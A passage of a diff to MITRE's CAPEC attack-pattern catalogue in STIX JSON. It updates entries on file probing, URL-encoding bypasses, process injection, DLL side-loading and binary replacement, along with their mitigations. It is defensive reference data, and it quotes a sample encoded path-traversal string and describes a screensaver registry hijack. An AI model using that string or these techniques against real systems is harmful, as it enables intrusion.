"name": "Probe System Files", "description": "An adversary obtains unauthorized information due to improperly protected files. If an application stores sensitive information in a file that is not protected by proper access control, then an adversary can access the file and search for sensitive information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39451,7 +43197,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-05-04T00:00:00.000Z", - "modified": "2018-05-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -39462,6 +43208,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/552.html", "external_id": "CWE-552" + }, + { + "source_name": "ATTACK", + "description": "Unsecured Credentials:Credentials in Files", + "url": "https://attack.mitre.org/wiki/Technique/T1552/001", + "external_id": "T1552.001" + }, + { + "source_name": "ATTACK", + "description": "Data from Network Shared Drive", + "url": "https://attack.mitre.org/wiki/Technique/T1039", + "external_id": "T1039" } ], "x_capec_typical_severity": "Medium", @@ -39479,36 +43237,38 @@ "Adversaries may search network shares on computers they have compromised to find files of interest." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9a7492fa-b46e-48bc-aae9-beb1d359171e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f7009ea8-ba2d-4cdb-86fe-352bd35ae5ff", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-04T00:00:00.000Z", - "modified": "2018-05-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-639-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Verify that files have proper access controls set, and reduce the storage of sensitive information to only what is necessary.", - "type": "course-of-action", - "id": "course-of-action--f7009ea8-ba2d-4cdb-86fe-352bd35ae5ff" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--89b16bf7-ab18-4a61-a200-04e7a496d723", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-04T00:00:00.000Z", - "modified": "2018-05-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--89b16bf7-ab18-4a61-a200-04e7a496d723", "source_ref": "course-of-action--f7009ea8-ba2d-4cdb-86fe-352bd35ae5ff", "relationship_type": "mitigates", "target_ref": "attack-pattern--9a7492fa-b46e-48bc-aae9-beb1d359171e" }, { + "id": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732", "name": "Using Slashes and URL Encoding Combined to Bypass Validation Logic", "description": "This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39516,7 +43276,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -39654,116 +43414,136 @@ "x_capec_example_instances": [ "\n Attack Example: Combined Encodings CesarFTP\n Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks.\n An attacker could provide a URL that included a string like\n /...%5C/\n This is an interesting exploit because it involves an aggregation of several tricks: the escape character, URL encoding, and the triple dot.See also: CVE-2001-1335" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker accesses the server using a specific URL.

Experiment

  1. The attacker tries to encode some special characters in the URL. The attacker find out that some characters are not filtered properly.

Exploit

  1. The attacker crafts a malicious URL string request and sends it to the server.

  2. The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters have harmful consequences.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cce0cadf-1b05-4fae-a18b-ea76a14737ac", - "source_ref": "course-of-action--c78bca10-c532-42ea-a5b0-cf7e8d7b5979", + "id": "relationship--e5df63e2-b26c-43a9-b8db-2987556afde6", + "source_ref": "course-of-action--001320df-5e57-4ed3-bcf8-7e79dfe846aa", "relationship_type": "mitigates", "target_ref": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732" }, { + "id": "relationship--4d3b43e0-c4ff-4ab4-abd0-67d7f2037409", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4d3b43e0-c4ff-4ab4-abd0-67d7f2037409", "source_ref": "course-of-action--1b63d492-1270-4630-97ef-521ac9d05eec", "relationship_type": "mitigates", "target_ref": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732" }, { + "id": "relationship--6dd37d7b-5f87-4f59-b359-666ea8c64721", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6dd37d7b-5f87-4f59-b359-666ea8c64721", "source_ref": "course-of-action--95ef6587-c787-4051-b664-b5e8ca753c20", "relationship_type": "mitigates", "target_ref": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732" }, { + "id": "relationship--b6ea81ef-0f17-4947-9257-d78e4c27418e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b6ea81ef-0f17-4947-9257-d78e4c27418e", "source_ref": "course-of-action--3833d761-4a54-4ed3-994b-c7c76c465ae0", "relationship_type": "mitigates", "target_ref": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732" }, { + "id": "relationship--14d09444-d3f4-4b5d-bd9c-ba056327a444", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--14d09444-d3f4-4b5d-bd9c-ba056327a444", "source_ref": "course-of-action--1f048925-3094-483c-abf2-c5efe689193a", "relationship_type": "mitigates", "target_ref": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732" }, { + "id": "relationship--78a37ef6-634a-4ba7-95e4-375cdbab4d64", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--78a37ef6-634a-4ba7-95e4-375cdbab4d64", "source_ref": "course-of-action--1890182c-6989-4e34-bfb2-92b223bcae0c", "relationship_type": "mitigates", "target_ref": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732" }, { + "id": "relationship--95070cd8-654a-4ca1-bbdb-e0d859a8c051", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--95070cd8-654a-4ca1-bbdb-e0d859a8c051", "source_ref": "course-of-action--24852297-758a-489f-b2c9-a27cbfbb938e", "relationship_type": "mitigates", "target_ref": "attack-pattern--feed1b00-2f2b-490f-aee1-0de5b1fbf732" }, { + "id": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4", "name": "Inclusion of Code in Existing Process", - "description": "The adversary takes advantage of a bug in an application failing to verify the integrity of the running process to execute arbitrary code in the address space of a separate live process. The adversary could use running code in the context of another process to try to access process's memory, system/network resources, etc. The goal of this attack is to evade detection defenses and escalate privileges by masking the malicious code under an existing legitimate process. Examples of approaches include but not limited to: dynamic-link library (DLL) injection, portable executable injection, thread execution hijacking, ptrace system calls, VDSO hijacking, and more.", + "description": "The adversary takes advantage of a bug in an application failing to verify the integrity of the running process to execute arbitrary code in the address space of a separate live process. The adversary could use running code in the context of another process to try to access process's memory, system/network resources, etc. The goal of this attack is to evade detection defenses and escalate privileges by masking the malicious code under an existing legitimate process. Examples of approaches include but not limited to: dynamic-link library (DLL) injection, portable executable injection, thread execution hijacking, ptrace system calls, VDSO hijacking, function hooking, and more.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/640.html", "external_id": "CAPEC-640" + }, + { + "source_name": "ATTACK", + "description": "Process Injection", + "url": "https://attack.mitre.org/wiki/Technique/T1055", + "external_id": "T1055" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:LD_PRELOAD", + "url": "https://attack.mitre.org/wiki/Technique/T1574/006", + "external_id": "T1574.006" } ], "x_capec_likelihood_of_attack": "Low", @@ -39786,131 +43566,140 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-640-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Prevent unknown or malicious software from loading through whitelisting policy.", + "description": "Prevent unknown or malicious software from loading through using an allowlist policy.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--601fc3a4-abb7-4237-b73c-212127fb7db2" + "id": "course-of-action--9a551de1-20d0-49ee-b6f2-36ad8f61c8e5" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e7708ecf-3879-4c48-9b48-e0e66282ed48", - "source_ref": "course-of-action--601fc3a4-abb7-4237-b73c-212127fb7db2", + "id": "relationship--65e58781-40ea-404e-93cf-151d351ad305", + "source_ref": "course-of-action--9a551de1-20d0-49ee-b6f2-36ad8f61c8e5", "relationship_type": "mitigates", "target_ref": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4" }, { + "id": "course-of-action--03fdd3ce-a674-49a6-9d85-fc475ab59474", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-640-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Properly restrict the location of the software being used.", - "type": "course-of-action", - "id": "course-of-action--03fdd3ce-a674-49a6-9d85-fc475ab59474" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--85d27ab2-ecd4-456d-b89a-b7c4e35486df", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--85d27ab2-ecd4-456d-b89a-b7c4e35486df", "source_ref": "course-of-action--03fdd3ce-a674-49a6-9d85-fc475ab59474", "relationship_type": "mitigates", "target_ref": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4" }, { + "id": "course-of-action--fba11826-8062-4a5b-8894-29e9ad3c0d1c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-640-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Leverage security kernel modules providing advanced access control and process restrictions like SELinux.", - "type": "course-of-action", - "id": "course-of-action--fba11826-8062-4a5b-8894-29e9ad3c0d1c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4f55ef67-7b67-4bc1-970e-dd7c277df922", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4f55ef67-7b67-4bc1-970e-dd7c277df922", "source_ref": "course-of-action--fba11826-8062-4a5b-8894-29e9ad3c0d1c", "relationship_type": "mitigates", "target_ref": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4" }, { + "id": "course-of-action--850b6838-1e26-4f64-8405-94d6c0354c1a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-640-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Monitor API calls like CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and similar for Windows.", - "type": "course-of-action", - "id": "course-of-action--850b6838-1e26-4f64-8405-94d6c0354c1a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4b00d13c-f642-4b89-8b0b-4f4bec45d3e4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4b00d13c-f642-4b89-8b0b-4f4bec45d3e4", "source_ref": "course-of-action--850b6838-1e26-4f64-8405-94d6c0354c1a", "relationship_type": "mitigates", "target_ref": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4" }, { + "id": "course-of-action--59902713-d383-4d5a-9f7e-cfabd2804272", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-640-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Monitor API calls like ptrace system call, use of LD_PRELOAD environment variable, dlfcn dynamic linking API calls, and similar for Linux.", - "type": "course-of-action", - "id": "course-of-action--59902713-d383-4d5a-9f7e-cfabd2804272" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9fae2dbb-a5ef-4e93-a719-15d38a7d1a44", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9fae2dbb-a5ef-4e93-a719-15d38a7d1a44", "source_ref": "course-of-action--59902713-d383-4d5a-9f7e-cfabd2804272", "relationship_type": "mitigates", "target_ref": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4" @@ -39918,29 +43707,59 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-640-5", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Monitor processes and command-line arguments for unknown behavior related to code injection.", + "description": "Monitor API calls like SetWindowsHookEx and SetWinEventHook which install hook procedures for Windows.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--07eaafc8-1ee9-4824-bb3e-ca53db5435ab" + "id": "course-of-action--5c78933b-9c6a-4046-97df-7a1648deff60" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", + "id": "relationship--61327995-a6d3-4961-9d09-10e051ae76d1", + "source_ref": "course-of-action--5c78933b-9c6a-4046-97df-7a1648deff60", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4" + }, + { + "id": "course-of-action--07eaafc8-1ee9-4824-bb3e-ca53db5435ab", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-640-6", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Monitor processes and command-line arguments for unknown behavior related to code injection.", + "x_capec_version": "3.3", + "type": "course-of-action" + }, + { "id": "relationship--cc1ad6dd-6038-4e55-89dd-eade5373a2f3", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", "source_ref": "course-of-action--07eaafc8-1ee9-4824-bb3e-ca53db5435ab", "relationship_type": "mitigates", "target_ref": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4" }, { + "id": "attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328", "name": "DLL Side-Loading", "description": "An adversary places a malicious version of a Dynamic-Link Library (DLL) in the Windows Side-by-Side (WinSxS) directory to trick the operating system into loading this malicious DLL instead of a legitimate DLL. Programs specify the location of the DLLs to load via the use of WinSxS manifests or DLL redirection and if they aren't used then Windows searches in a predefined set of directories to locate the file. If the applications improperly specify a required DLL or WinSxS manifests aren't explicit about the characteristics of the DLL to be loaded, they can be vulnerable to side-loading.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -39948,7 +43767,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -39960,6 +43779,12 @@ "url": "http://cwe.mitre.org/data/definitions/706.html", "external_id": "CWE-706" }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:DLL Side-Loading", + "url": "https://attack.mitre.org/wiki/Technique/T1574/002", + "external_id": "T1574.002" + }, { "source_name": "reference_from_CAPEC", "description": "Stewart A., DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry, FireEye", @@ -39983,112 +43808,120 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-641-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Prevent unknown DLLs from loading through whitelisting policy.", + "description": "Prevent unknown DLLs from loading through using an allowlist policy.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--33335be1-54b7-468e-beef-487455c711ba" + "id": "course-of-action--de1e1fe4-15df-4e37-9686-1b33e0ea2e10" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ac1929e8-b931-463d-89a1-31ddc734b705", - "source_ref": "course-of-action--33335be1-54b7-468e-beef-487455c711ba", + "id": "relationship--81f3c1eb-7e57-4f55-a177-cadc6a8aeba8", + "source_ref": "course-of-action--de1e1fe4-15df-4e37-9686-1b33e0ea2e10", "relationship_type": "mitigates", "target_ref": "attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328" }, { + "id": "relationship--c8fbd576-b3bb-43e0-b295-5483e8f56bdf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c8fbd576-b3bb-43e0-b295-5483e8f56bdf", "source_ref": "course-of-action--0dfabd41-428e-43f9-93f8-078e6987d31c", "relationship_type": "mitigates", "target_ref": "attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328" }, { + "id": "relationship--2d42819b-82b4-4def-9360-d1f3e4d3ad65", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2d42819b-82b4-4def-9360-d1f3e4d3ad65", "source_ref": "course-of-action--03fdd3ce-a674-49a6-9d85-fc475ab59474", "relationship_type": "mitigates", "target_ref": "attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328" }, { + "id": "course-of-action--21b6aeac-6ff3-477a-a051-f59ad76116f4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-641-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use of sxstrace.exe on Windows as well as manual inspection of the manifests.", - "type": "course-of-action", - "id": "course-of-action--21b6aeac-6ff3-477a-a051-f59ad76116f4" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0606876e-24f7-4cdd-812b-44db26e0f72b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0606876e-24f7-4cdd-812b-44db26e0f72b", "source_ref": "course-of-action--21b6aeac-6ff3-477a-a051-f59ad76116f4", "relationship_type": "mitigates", "target_ref": "attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328" }, { + "id": "course-of-action--bdc2b3ee-acf1-4c8b-a330-6fa318ec5f88", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-641-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Require code signing and avoid using relative paths for resources.", - "type": "course-of-action", - "id": "course-of-action--bdc2b3ee-acf1-4c8b-a330-6fa318ec5f88" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--32d49392-d7f7-401f-91bc-541841219209", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--32d49392-d7f7-401f-91bc-541841219209", "source_ref": "course-of-action--bdc2b3ee-acf1-4c8b-a330-6fa318ec5f88", "relationship_type": "mitigates", "target_ref": "attack-pattern--bfb6492a-7a88-47c4-aff9-2c8190265328" }, { + "id": "attack-pattern--15e6b769-4cbd-4c39-b774-b45673fd55de", "name": "Replace Binaries", "description": "Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -40096,7 +43929,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -40107,6 +43940,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/732.html", "external_id": "CWE-732" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Executable Installer File Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/005", + "external_id": "T1574.005" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Service File Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/010", + "external_id": "T1574.010" } ], "x_capec_typical_severity": "High", @@ -40119,36 +43964,38 @@ "By default, the Windows screensaver application SCRNSAVE.exe leverages the scrnsave.scr Portable Executable (PE) file in C:\\Windows\\system32\\. This value is set in the registry at HKEY_CURRENT_USER\\Control Panel\\Desktop, which can be modified by an adversary to instead point to a malicious program. This program would then run any time the SCRNSAVE.exe program is activated and with administrator privileges. An adversary may additionally modify other registry values within the same location to set the 